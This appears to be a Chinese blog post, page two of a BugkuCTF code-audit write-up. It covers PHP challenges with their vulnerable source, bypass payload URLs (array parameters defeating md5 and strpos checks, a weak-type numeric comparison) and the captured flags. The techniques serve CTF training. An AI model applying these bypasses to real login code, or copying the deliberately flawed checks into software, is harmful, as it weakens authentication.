设为首页 加入收藏

TOP

BugkuCTF~代码审计~WriteUp(二)
2019-08-23 00:40:55 】 浏览:101
Tags:BugkuCTF 代码 审计 WriteUp
制码为0x108
%108进行一次url编码%2568

http://123.206.87.240:9009/10.php?id=%2568ackerDJ

get flag:

Access granted! flag{bugku__daimasj-1t2} 

 

第四题:md5()函数

知识简介

 MD5()函数语法:

md5 — 计算字符串的 MD5 散列值 string md5( string $str[, bool $raw_output = false] ) 参数 str 原始字符串。 raw_output 如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。 返回值 以 32 字符十六进制数字形式返回散列值。 

 

题目信息

Topic Link:http://123.206.87.240:9009/18.php

<?php error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.'; else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); else
print 'Invalid password'; } ?>

 

利用MD5函数不能处理数组进行构造payload

代码审计需要满足两个条件:1. username和password的值不能相同

             2. username和password的MD5值相同

构造payload:

http://123.206.87.240:9009/18.php?username[]=999&password[]=666

get flag:

Flag: flag{bugk1u-ad8-3dsa-2}

 

第五题:数组返回NULL绕过

 知识简介

ereg()函数语法:

int ereg ( string $pattern , string $string [, array &$regs ] ) 以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。 如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1] 包含第一个左圆括号开始的子串,$regs[2] 包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。 如果在 string 中找到 pattern 模式的匹配则返回所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1。 

 strpos()函数语法:

strpos — 查找字符串首次出现的位置 int strpos( string $haystack, mixed $needle[, int $offset = 0] ) 返回 needle 在 haystack 中首次出现的数字位置。 参数 haystack 在该字符串中进行查找。 needle 如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。 offset 如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。如果是负数,搜索会从字符串结尾指定字符数开始。 返回值 返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。 如果没找到 needle,将返回 FALSE

 

题目信息

Topic Link:http://123.206.87.240:9009/19.php

<?php $flag = "flag"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo 'You password must be alphanumeric'; else if (strpos ($_GET['password'], '--') !== FALSE) die('Flag: ' . $flag); else
echo 'Invalid password'; } ?>

 

利用strpos()函数不能处理数组的漏洞构造payload

代码审计需要满足两个条件:1. if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)   == 》 FALSE

             2. if (strpos ($_GET['password'], '--') !== FALSE)   == 》 TRUE

构造payload:

http://123.206.87.240:9009/19.php?password[]=

get flag:

Flag: flag{ctf-bugku-ad-2131212}

 

第六题:弱类型整数大小比较绕过

 知识简介

is_numeric()函数语法:

is_numeric — 检测变量是否为数字或数字字符串 bool is_numeric( mixed $var) 如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE

 

题目信息

Topic Link:http://123.206.87.240:9009/22.php

$temp = $_GET['password']; is_numeric($temp)?die("no numeric"):NULL; if($temp>1336){ echo $flag;

利用php弱类型漏洞构造payload

代码审计需要满足两个条件:1. is_numeric($temp)  ==》 FALSE

                2. if($temp>1336)  ==》 TRUE

构造payload:

http://123.206.87.240:9009/22.php?password=99999asd

get flag:

flag{bugku_null_numeric}

 

第七题:sha()函数比较绕过

 知识简介

sha1()函数语法:

(PHP 4 >= 4.3.0, PHP 5, PHP 7) sha1 — 计算字符串的 sha1 散列值 string sha1( string $str[, bool $raw_output = false] ) 参数 str 输入字符串。 raw_output 如果可选的 raw_output 参数被设置为 TRUE,那么 sha1 摘要将以 20 字符长度的原始格式返回,否则返回值是一个 40 字符长度的十六进制数字。 返回值 返回 sha1 散列值
首页 上一页 1 2 3 4 5 下一页 尾页 2/5/5
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇Ubuntu 16.04.4 LTS环境中php7.0.. 下一篇php禁用函数设置及查看方法详解

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目